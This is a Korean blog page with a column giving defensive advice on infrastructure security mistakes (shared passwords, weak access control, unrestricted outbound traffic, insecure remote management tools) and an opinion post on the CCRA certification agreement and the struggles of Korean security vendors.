공격자들은 기본적으로 초기 침입 성공 이후 (근래에는 대부분 웹 Application 공격 및 이메일 등을 통한 백도어 설치로 침입 성공) 거점을 통해 내부망에 대한 스캐닝 작업들을 시작하게 된다. 내부망에 대한 스캔 작업으로 인해 발견 되는 것들은 시스템에 대한 취약성 및 네트워크 장비에 대한 취약성과 계정과 패스워드에 대한 취약성들도 발견 하는 것이 일반적이다. 그 이후에는 장비에 접근 하여 공격자가 원하는 대로 조정을 하거나 변화를 시키는 유형이 일반적인 공격 유형이다. 현재 큰 문제로 지적되고 있는 Mass Sql injection에 관련된 문제와는 다른 관점이긴 하나 고전적인 유형이며 가장 일반적인 침입의 유형으로도 여전히 유효하다는 점에서 의미를 가진다.

 

외부에 드러난 직접 접근이 가능한 통로에는 많은 문제들이 해결 되어 있을 것이나 내부망에 존재하는 모든 장비에 대해서 확신을 하기에는 문제점이 있을 것이다. 외부자에 의한 문제와 내부자에 의한 문제 모두 문제가 발생 될 수 있는 지점을 최소화 함으로써 예방이 가능한 이슈들이다.  단순하게 IT관리자의 의지만으로 일련의 문제제거들이 진행 되기에는 어려움이 있다.  단순반복적으로 보이는 업무들이 있어야 체계를 이룰 수 있으므로 경영진의 의지와 이해는 문제제거를 위해 필수적이다. 무조건적인 관리의 부실과 문제로 내몰기에는 지금의 시스템들은 너무 크고 많다.

 

 

-Sharing a password across multiple network devices

 

일반적으로 모든 시스템에 대해 별개의 패스워드를 사용한다는 것은 불가능하다. 특히 규모가 큰 서비스를 운영할 경우에는 사실상 불가능한 작업이라 할 수 있다. 영역별로 분리 하거나 의미 있는 단위로 구분하여 공용 패스워드를 사용하는 것이 일반적인 경우라 할 수 있다. 패스워드에 대한 복잡도와 관리는 현재 상태에서는 상당 수준에 올라와 있는 곳들도 있으나 다른 관점으로 보면 근본적인 문제들이 존재한다.

 

문자와 특수문자, 숫자를 결합하여 패스워드를 만들고 이것을 소수의 관리 인원들만 알고 있는 것은 일면 타당한 보안성을 유지하고 있는 것으로 보인다. 그러나 외부 업체와의 작업들은 있을 수 밖에 없고 해당 업체와의 작업을 진행 하기 위해서는 경우에 따라서는 계정정보를 전달 해 줄 수 밖에 없는 상황들이 발생한다. 이런 경우에 전체의 시스템들에 문제가 생길 수 있는 가능성은 높다. 너무 어렵게 패스워드를 만드는 것들도 절차상으로는 부합하나 직접적인 입력과 기억의 어려움으로 인해 패스워드를 적은 포스트잇 등을 화면에 붙여 놓는 것을 자주 보게 된다. 이 경우도 동일한 위험으로 간주 할 수 있다.

 

패스워드 관점에서는 주기적이고 영역별로 나뉘어진 관리가 필요하며 소수의 인원에게만 공유 되어야 한다. 그리고 권한 별로 계정에 대한 구분이 명확하게 나뉘어져 있어야만 한다. 최소한 대규모 서비스 운영이나 몇 십 혹은 몇 백대 이상의 시스템을 운용하는 곳에서라면 각 서비스 구분 별로 별도의 규칙과 절차를 통해 Secure한 패스워드를 유지하는 절차를 구비하는 것이 필요하다. 침해사고 방지의 가장 큰 부분은 피해 확산을 최소화 하는 부분도 큰 부분이며 패스워드에 대한 정책적인 관리와 구분은 가장 기본적이며 큰 효과를 볼 수 있는 영역이기도 하다.

 

외부 노출된 Application 취약성이나 내부로 침입한 악성코드에 의해 단 하나의 계정과 패스워드가 유출 되었다고 한다면 체계적인 영역구분과 관리 절차가 없는 서비스에 대해서는 모든 것에 대한 권한을 넘겨 준 것과 동일 하다고 볼 수 있다.

 

 

-Misconfiguring your access control lists.

 

 

대부분의 서비스를 운영하는 회사에서는 외부에서의 직접적인 접근을 금지하고 있다. ACL이라는 것은 네트워크 장비나 서비스 서버 단위에서 접근 할 수 있는 영역을 제한하는 용도로 사용되는 모든 것을 총칭한다. 단순하게 네트워크 장비에서의 접근제어 리스트를 가지고 있는 것 외에도 서버 단위에서의 ipchain iptable 그리고 비슷한 기능을 하는 도구들을 모두 총칭한다.  잘못 설정된 ACL 이라는 의미 보다는 명확한 의미의 접근제어가 필요하다는 내용으로 이해 하면 될 것이다.

 

일반적으로 외부에서 접근을 제한적으로 허용하기 위해 VPN을 많이 활용한다. 접근 할 수 있는 host를 한정하거나 VPN 접근 전용의 계정과 패스워드를 통해 허가된 사용자만이 접근 할 수 있도록 구성하는 것이다. 그러나 일단 접근한 이후의 통제 방안에 대해서는 잘 논의 되지 않는다. 일단 외부로부터의 접근을 단일통로로 제한하는 것으로 끝나는 경우를 많이 볼 수 있다.

 

여기에서 지적하는 부분은 외부에서의 접근 이후에도 효율적인 통제들이 필요함을 예로 들고 있다. 권한에 대한 확실한 적용으로 접근이 가능한 영역과 접근 해서는 안 되는 영역에 대해서 분명한 구분이 필요하며 적용이 필요하다는 점을 언급 하고 있다.

 

기본적으로 외부에서 접근 할 수 있는 통로는 제한적으로 구성을 하고 이후 사용자 각각 혹은 그룹별로 접근이 가능한 군을 형성하여 해당 군 이외에는 경유하여 접근이 되지 않도록 구성하는 것이 중요하다.

 

서비스 구성 네트워크 단위에서 외부 접근 지점과 권한 별로 접근이 필요한 시스템들을 최소화 하고 한정 하게 되면 기본적인 ACL의 미비로 인한 추가적인 사고를 막을 수 있다.

 

침해사고의 경우에는 외부에서 접근이 가능한 계정을 탈취한 이후에 VPN이나 경유 서버를 통과하여 내부망에 대한 자료 유출 및 악성 행위들이 발생 되는 경우도 종종 발생된다. 명확한 역할에 따라 접근제어의 시행은 이런 문제를 막기 위해서 필요하며 경우에 따라서는 접근 계정의 유효성과 접근 기록들에 대해서 기록을 유지하여 비정상적인 접근과 비정기적인 접근에 대해 판별 하는 로직들을 도입하게 되면 보다 큰 효과를 거둘 수 있다.

 

 

-Failing to configure your router to prohibit unwanted outbound traffic

 

현재 사용자의 PC와 기업의 내부 시스템을 위협하는 악성코드들은 대부분 백도어 기능을 가지고 있다. 백도어의 기능은 침입이 성공한 이후 외부와의 연결을 유지하고 명령을 실행 하도록 하고 있다. 물론 2009년 7월에 발생된 DDos 이슈와 같이 특정 IP로의 주기적인 연결 시도를 통해 다음 명령을 받는 유형이라면 위와 같은 정책도 그다지 큰 의미는 없다. 본 컬럼에서 논하는 이슈는 일상적으로 발생 되는 이슈들에 대한 문제이며 참고적인 사항일 따름이다.

 

서비스 시스템에 침입한 이후 재 침입을 하기 위해서 공격자들은 일반적으로 재 침입이 용이하도록 외부에서 직접 접근이 가능한 통로를 만들어 두게 된다. 이런 통로들을 백도어라고 총칭한다. Botnet Client이든 Command shell 이든 대부분의 기업 서비스 망에서는 외부에서 내부로 유입되는 Inbound Traffic에 대해서는 엄격한 기준을 적용하지만 내부에서 외부로 나가는 Outbound Traffic에 대해서는 무척 관대한 편이다. 장비의 성능 이슈도 무시 할 수 있는 부분은 아니기에 특별한 문제가 없다면 외부로 전달 되는 트래픽에 대한 통제는 그리 심한 수준은 아니라고 할 수 있다.

 

성능문제로 모든 부분에 대해서 적용하기는 어렵더라도 역할 별로 구분된 시스템들에 대해서는 최소한의 규칙들은 지켜져야 한다. 시스템에 기본으로 설치된 다수의 서비스들에 대해서도 시스템의 목적에 맞도록 여러 서비스들은 제거나 중지를 통한 비활성화를 거치거나 장비 단위에서의 허용 트래픽만을 규정 하는 행위들은 필요하다.

 

서비스별로 사용 서비스에 대해서 정의를 하고 해당 서비스만 사용하도록 하는 기본 보안설정이 필요하고 대규모 서비스의 경우 서비스 군으로 분할 하여 Outbound traffic을 서비스별로 제한 하는 작업들도 침해사고의 확산을 방지 하는데 도움을 줄 수 있을 것이다.

 

 

-Allowing nonsecure remote access and management software

 

시스템과의 거리상 대부분의 서비스 기업 관리자들은 리모트 관리 도구들을 많이 사용한다. 그러나 특별한 접근제어설정을 가지고 있지 않거나 계정과 패스워드의 문제로 인해 손쉽게 침해를 입기도 한다. VNC PC Anywhere, Terminal Service, SSH 등은 관리도구로 일반적으로 사용이 되는 접근 도구들이다. 각 사용 도구별로 기본적인 보안설정의 부족과 안전하지 않은 패스워드 혹은 변경 없는 패스워드의 사용은 종종 공격자들의 주된 타켓이 되고는 한다.

 

더불어 외부 네트워크 영역에 대해 VPN 과 같은 경유 서버가 없는 경우 직접적으로 열려져 있는 경우들이 많이 발견이 된다. 관리의 편리성을 논하기엔 지금의 시절은 호락호락 하지 않다. 외부에서의 열려져 있는 포트정보와 열려져 있는 서비스들에 대해서는 주기적인 점검이 이루어 져야 하고 장비를 통한 통제들도 필수적으로 이루어 져야 한다.

 

원격에서의 관리를 위한 도구들은 손쉬운 공격자의 목표가 되고 있으며 주기적인 검토와 보안성의 강화 (접근 IP 제한, 패스워드의 변경과 난이도 상승) 만이 기본적인 보안수준을 보장 할 수 있다.

 

접근 할 수 있는 IP에 대한 한정과 권한의 조정, 패스워드에 대한 관리 철저, 외부로 나가는 트래픽에 대한 제한과 접근제어의 철저는 가장 기본적으로 요구되는 인프라 보안의 구성요소이다.

 

10가지 정도의 항목에서 현재 컬럼은 인프라와 기본적인 보안에 관련된 부분을 정리했다. 참조한 기사와는 다른 방향으로 논의된 부분들도 있으나 각 항목에 대해서는 현재의 상황에 맞도록 설명을 하였고 세부적인 해석들은 환경에 따라 다를 수 있으므로 참고용도로의 이해가 필요하다. 규모에 따른 대응방안들도 다를 수 있기에 원칙적인 면에서 지켜야 할 룰 정도로 참고 할 수 있을 것이다.

 

다음 편에서는 10가지 실수라고 총칭 되는 부분에서 지금의 시대에 가장 큰 화두로 대두된Application과 관련된 부분을 다루도록 하겠다. 네트워크 관리자만을 위한 참고가 아닌 전체 IT관리자를 위한 참고가 될 수 있도록 항목에 대한 확장과 해석들은 달라 질 수 있음을 알려 드린다.

 

기본적인 노력들이 끊임없이 이루어져야만 변화도 효과가 있을 수 있다.  -바다란

Posted by 바다란

최근 보안 전문 업체의 업종 다변화와 맞물려 CCRA 인증 협약이 며칠전 발효가 되었다.

 

두 가지 사안과 뉴스가 다른 시점에 나타났으나 연관관계는 매우 밀접하고 또 관계가 깊다.

 

CCRA: 국제 공통평가기준 상호인정협정으로 협약에 가입된 국가간에 보안제품에 대한 인증을 통과한 업체에 대해서는 해당 협약에 가입한 국가에 공통적인 평가 기준으로 인정이 됨을 말한다.

 

예전 90년대 부터 보안 장비 부분을 버티게 해주던 정책이 K4 인증이였다. 국정원에서 보안제품에 대한 인증을 수행하고 해당 장비에 대한 보안성이 검증되면 부여하던 인증인데.. 소스코드 및 기능 설계에 대한 부분도 검증을 받아야만 K4 인증을 받을 수 있는데 외국기업 중 어떤 기업이 한국 시장만을 보고 자사의 전체 재산과도 다름없는 방화벽이나 침입탐지 시스템의 소스코드를 공개할 것인가?.

 

따라서 공공기관에 도입 기준으로 정해진 K4 인증을 획득하지 못하여 진입 자체가 힘들었으며 민간용 구매의 경우에도 세계적으로 점유하고 있는 점유율 만큼을 인정 받지 못하였다.

 

현재 협약이 체결된 CC 인증에 관한 문제는 2년전 부터 이슈화가 된 부분이나 그동안 보안업체들은 무엇을 준비했는지 묻고 싶다. 또한 그 이전에 전문 기술 부분에 대해 얼마나 투자 했는지도 묻고 싶다. 엔지니어가 없는 회사. 전문 엔지니어가 대접받지 못하는 회사. 회사 정책상 얼마만큼의 당장 눈앞에 보이는 수익에 집착하고 그 이익을 위해 불나방처럼 자신의 날개를 불사르는 짓을 얼마나 했던가?

 

침입의 변화와 트렌드의 변화는 조금만이라도 눈을 뜬 자들에게는 그리 어려운 부분이 아니다. 모든 정보가 공유되고 공개되는 세상에서 그다지 어렵지 않은 부분이나 이런 부분을 외면하고 또 장기적인 투자를 외면한 그 실상은 참혹하다 할 수 있다.

 

멸치를 팔고.. 만두를 팔고.. 보안이 아닌 기타업종으로 진출을 하고.. 왜 이럴까?..

보안이 돈이 안되어서?.. 이건 변명꺼리도 될 수 없다. 왜 국내 시장에만 안주 하였는가?

왜 외국 시장에서는 뛰어난 성능으로 견주지 못하였는가?  성능이 안되어서? 독창성이 없어서? 기술이 안되어서?. 모든게 정답일 것이다.

 

작금의 시장은 뛰어난 성능과 남과 다른 그 무엇이라도 있다면 인정 받을 수 있는 시장이다.

그 시장에서 겨루지 못하고 국내시장에만 그것도 제한된 시장에만 안주하여 안정된 이익을 보장 받기를 원한 그 결과라고 볼 수 있다. 위협이 글로벌화된 현재 상황에서 보안 전문분야에서는 기술이 뒷받침 되지 않는 이상 더 이상 방패막이는 없을 수 밖에 없다. 이게 국제 사회에서의 통설이다. 방패막이는 스스로를 죽일뿐인 것을..

 

파장 및 파급효과에 대해서는 따로 기회가 되면 언급을 하겠으나 현재 변화된 상황만 보고 단편적인 이야기만 하면 개인적인 생각은 위와 같다.

기회는 많았으나 그 기회를 볼 줄 아는 눈이 없었다. 당장의 이익을 위해 변화하는 것은 좋으나 큰 방향으로 나아갈 큰 기업이 될 재목은 없었다라고 정의 할 수 있을 것 같다.

 

틈새 시장으로 진출한 보안 업체들도 있고 전문 분야를 고수하고 있는 업체도 있으나 제품을 만드는 곳은 앞으로 힘들어 질 것으로 보인다. 앞서 올린 글들에서도 언급 하였듯이 패러다임의 변화는 이미 대세에 이르렀는데 이제와서 돌아 갈 수는 없는 불변의 변화에서 상황이 호전되기만을 기다린 다는 것은 죽음을 기다리는 것과 같다.

 

생명력이 얼마나 될까?.. 그리 오래 가지는 못할 것이다. 최소한 보안이라는 부분에서.. 권토중래를 하기 위해서는 와신상담이 필수 이건만 이젠 그 기간조차 보장 받지 못할 것이다.

 

살아남은 기업들은 외산제품의 기능이나 연구역량에 밀려 점차 입지가 좁아질 것이므로 특정 기능 및 독창적인 기술에 집착하여야만 성공을 바랄 수 있을 것이고 역량 집중 없이 영업 및 사업 부분 확장으로만 버텨온 기업에게만 더 이상 기댈 것이 없는 시점이 곧 올 것이다. 지금이 그때인지도..

 

만두와 멸치는.. 살아남기 위한 몸부림!.

그러나 이런식의 몸부림으로는 이 보안이라는 분야에서 오래 버티기는 어려울 것이다. 적어도.. 아무리 늦었어도 3~4년 전 쯤에 승부수를 던지고 몸부림을 쳤어야 했다. 그 시점은 2001년에서 2002년 무렵이였을 것이고...

그때 던졌더라면 충분히 될 수도 있었을텐데.. 기술인력 다 보내고 역량 집중도 못하고 기업의 규모가 작아서 그런면도 있었을 테지만..무리한 확장 보다는 내실을 다졌어야 했는데.. 매출이 중요한 것이 아니라 얼마만큼의 독창성을 보유하고 있는지가 중요한 포인트임을 알고 세계의 흐름을 볼 수 있는 눈을 가진 경영자가 있었어야 했는데.. 그렇지 못한 것이 오늘날의 패인이라고 볼 수 있다.

 

경영만을 가지고 1대를 꾸려가는 기업을 만들 수도 있을 것이다.

비전이나 기술이 뒷받침 되지 않고서는 보안과 같은  전문분야 에서는 경영 다각화만으로는 1대 조차도 못 꾸릴 것이다.

 

살아날 길은 무엇일까?.. 틈새기술..독창성.. 그 무엇이든 뼈를 깍는 노력이 필요하다. 구조조정이나 사업 다각화가 아닌 독창성을 보유하기 위한 처절한 몸부림이 있어야만 성공 할 것이다. 그러나 지금 언론지상을 누비는 뉴스에서는 그런 몸부림을 전혀 느낄 수가 없다.

 

* 개인 사견 입니다. ^^ ; p4ssion

 

 

Posted by 바다란